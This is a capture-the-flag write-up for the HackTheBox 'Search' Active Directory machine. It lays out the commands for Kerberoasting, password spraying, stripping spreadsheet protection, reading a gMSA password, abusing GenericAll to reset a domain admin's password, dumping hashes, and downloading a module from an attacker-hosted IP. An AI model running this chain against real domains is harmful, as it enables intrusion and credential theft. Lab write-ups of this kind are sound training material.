HackTheBox-Search

ARZ101
12 min readApr 30, 2022

In this post I will be sharing my writeup for HTB-Search machine, which was a hard rated box related to Active Directory, starting with nmap scan there was a service running on port 88 which indicated that this is a domain controller as kerberos runs on 88, the web server was using a static template page having few usernames and an image in the slider revealing a set of credentials which were only valid on smb and ldap, through ldap we enumerated other usernames which lead us to kerberoasting web_svc and after cracking the hash it , the password was being reused on Edgar.Jacob which had an xlsx document in it’s share folder that had set of credentials which were revealed after removing the password protection from the document, this allowed us to escalate to Sierra.Frye. After having this user account, running bloodhound, it revealed that this user account had ReadGMSAPassword for BIR-ADFS-GMSA account and that had GenericAll rights on Tristan.Davies which was domain admin, so there two ways to escalate to Tristian either by resetting the tristan’s password from rpcclient or by using the pfx file found in sierra’s directory and getting a web based powershell.

NMAP

PORT      STATE SERVICE       VERSION            
53/tcp open domain?
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-12-19 09:28:07Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)
443/tcp open ssl/http Microsoft IIS httpd 10.0
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8172/tcp open ssl/http Microsoft IIS httpd 10.0
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49670/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49699/tcp open unknown
49725/tcp open msrpc Microsoft Windows RPC

PORT 139/445 (SMB)

We can check for null authentication on SMB to see if we can we access any shares

And we are not allowed to list shares , let’s run enum4linux-ng which will enumerate both smb and ldap

We only get information of the domain and the operating system that the machine is using

PORT 80 (HTTP)

On IIS server we can see a template being used

We also see some usernames , so we can try to create a list of usernames using their first and lastname maybe

Running gobuster didn't really found anything expect for /Staff which was forbidden

I saw an image in the slider

Let’s add usernames from this image to our list , also there’s a password IsolationIsKey? and with kerbrute we can brute force to see which usernames are valid on the domain

Here out of some usernames we have only 4 valid domain names , so the format is firstname.lastname , using crackmapexec we can brute force the password that we found

So hope.sharp can login through smb , using smbclient we can list the shares now

Using smbmap we can on which shares we have rights

Let’s first try to get a list of usernames now since we are authenticated , so using windapsearch which works with LDAP to enumerate users

We got more users , now let’s to create a list of them using grep and awk to filter only usernames

Foothold

We have a service account web_svc , let's try to do kerberoasting as we have a valid set of credentials so we can request for a TGS for this account or just a provide the username list maybe we can get other account’s hashes too , so using impacket's GetUserSPNS

python3 /opt/impacket/examples/GetUserSPNs.py  -target-domain search.htb -request -dc-ip 10.129.247.201 -usersfile new_users.txt search.htb/hope.sharp

We get krbtgt account's hash which is an account responsible for signing tickets / creating tickets (TGT ,TGS)

We also get a hash for web_svc account , I tried to check if there was AS-REP roasting using kerbrute but didn't find any account with pre-auth disabled

But didn’t found any accounts like that so let’s just crack the hashes that we have found, we can find the mode of this hash type from hashcat examples

When I tried to crack this , hashcat was giving a message about “exahust” and it was weird , turns out that we don’t need to specify a user list when we check for accounts assoicated with SPNs

python3 /opt/impacket/examples/GetUserSPNs.py -request -dc-ip 10.129.247.201 search.htb/hope.sharp
:"IsolationIsKey?" -outputfile hashes.kerberoast

Now running hashcat

We can try to see if we can get a shell with this service account

Privilege Escalate (Edgar.Jacobs)

Still we have access to smb , we still have a lot usernames so we can try to perform a password spray through kerbrute

Now let’s see if we can get a winrm session with this user

And still no , so let’s just see what’s in this user’s directory

We can go into RedirectedFolders$ and then into edgar.jacobs/Desktop , we see a excel document

We can download it using get

Privilege Escalation (Sierra.Frye)

Opening the xlsx document ,we can see two worksheets, the first one just shows the statistics of how many passwords were captured and the other sheet shows the usernames with passwords but that worksheet is password protected and have the rows or columns hidden , so they are two ways to read the passwords in this scenario.

First way is that we can actually unzip the document and can read files so let’s try that

From here we can read the passwords but this isn’t the best and most efficient way of reading passwords.

The second way is to unzip the document and then go to xml file of the sheet which is protected by password , remove the <sheetProtection/> tag from the xml, create the archive again and rename it to xlsx and then open the document, un hide the rows or columns.

</sheetData><sheetProtection algorithmName="SHA-512" hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg==" saltValue="U9oZfaVCkz5jWdhs9AA8nA==" spinCount="100000" sheet="1" objects="1" scenarios="1"/>

This is the tag that we want to remove and nothing else

Save them for a brute force attack through crackmapexec

After sometime we’ll get correct set of credential

We can then just grab the user flag from , but still there’s more enumeration that we need to do now , we can either run sharphound to enumerate AD which fill save results in an archive or we can use python bloodhound which will give us the output in json , both of them do the same job but I’ll just go with python

Launch neo4j with neo4j console and run bloodhound, after importing the json files and marking the user as pwned we can run a pre-built query for path to higher targets which will shows a graph for what we can do with this user

Privilege Escalation (Tristan.Davies -> Administrator)

This user is a member of ITSEC group which has ReadGMSAPassword rights to an account BIR-ADFS-GMSA , GMSA means Group Managed Service Accounts , in active directory it's a hassle to change change service accounts passwords so this gmsa account is responsible for service accounts passwords and it's hash isn't easy to crack as it's randomly generated

So we can read this account’s hash and later use that to login , in order to read that I used gMSADumper.py from github

If we look furhter from what we can do from this computer account since it has $ at the end of the name

This has genericall on the account Tristan.Davies and that account is a member of Enterprise Admin , Administrator and Domain Admin so we pretty much can compromise the domain controller after getting this user , so this is really simple to abuse , since everything in AD is object and this user is considered as a object we can set permissions on this object , can even change his password without knowing it

Method 1 (un-intended)

Winrm was completely disabled on this machine , and it was disabled after almost 50 users rooted this machine , winrm wasn’t supposed to be running on the machine (at least what they told in the discord ) , so having functionality of getting a remote session we can just simply login as the account who has genericall , meaning that we can do anything with that user account , so simply changing the password was possible net user username password

Now we can use impacket’s secretsdump.py to dump all password hashes

Method 2 (intended)

Since winrm was disabled , and there wasn’t any way to get a shell and change the password through net user another way was that since rpcclient allows pass the hash , we can login with the BIR-ADFS-GMSA with his password hash and change the password with this command

setuserinfo2 Tristan.Davies 23 'arzismol'

Now simply just dump the hashes using impacket’s secretsdump.py

But winrm is disabled so the question is how will we get a shell ? We can check with crackmapexec to see if we get the status “pwned”

I tried smbexec and psexec both failed but wmiexec worked

Method 3

Going into Sierra.Frye's directory through smb share RedirectedFolders$ we can see a file in Downloads\Backups\

Download it through get staff.pfx

To read the certificate we need the password

Since I was using ubuntu and didn’t had the john jumbo I had to install it from this , then use pfx2john.py to get hash of pfx file

https://github.com/openwall/john/blob/bleeding-jumbo/doc/INSTALL-UBUNTU

Import the pfx file through browser by going into Settins -> Security & Privacy -> View Certificates then import the pfx file in Your Certificates tab

Make sure that domain name search.htb is in /etc/hosts file

Make a https request to /staff as we that endpoint at the start

We can login with Sierra.Frye 's credentials

now in order to run commands as BIR-ADFS-GMSA$ we need to import DSInternals module which can be downloaded from github

https://github.com/MichaelGrafnetter/DSInternals/releases/tag/v4.7

Then host this using python3 , an issue can occur when we will be downloading it through web based powershell so the proper command to download it will be

Invoke-WebRequest -Uri http://ip/dsinterals.zip -UseBasicParsing -OutFile

After having that on the system you can unzip it using the command

Expand-Archive -Path dsinternals.zip -DestinationPath dsinternals

Then go to dsinternals and run command Import-Module .\DsInternals, now the module has been loaded and you can see it's functions

Get-ADServiceAccount -Identity 'BIR-ADFS-GMSA$' -Properties PrincipalsAllowedToRetrieveManagedPassword

We have saved the blob password for BIR-ADFS-GMSA$ account , now we need to use the SecureCurrentPassword property to run commands as this account, so we are going to create a variable which will have this account's secure string and the account name

$Credential = New-Object System.Management.Automation.PSCredential BIR-ADFS-GMSA$,$pt.SecureCurrentPassword

Now we just need to invoke command in a script block using this variable

Invoke-Command -Computer Research -Credential $Credential -ScriptBlock { whoami}

Perfect , we can run commands as this account which means we can now change Tristan.Davies account password

Invoke-Command -Computer Research -Credential $Credential -ScriptBlock { net user Tristan.Davies arzissmol }

Now follow the same steps to invoke commands as Tristan

And we are in the group of Domain Admins which means that we have complete control over Domain Controller.

References

--

--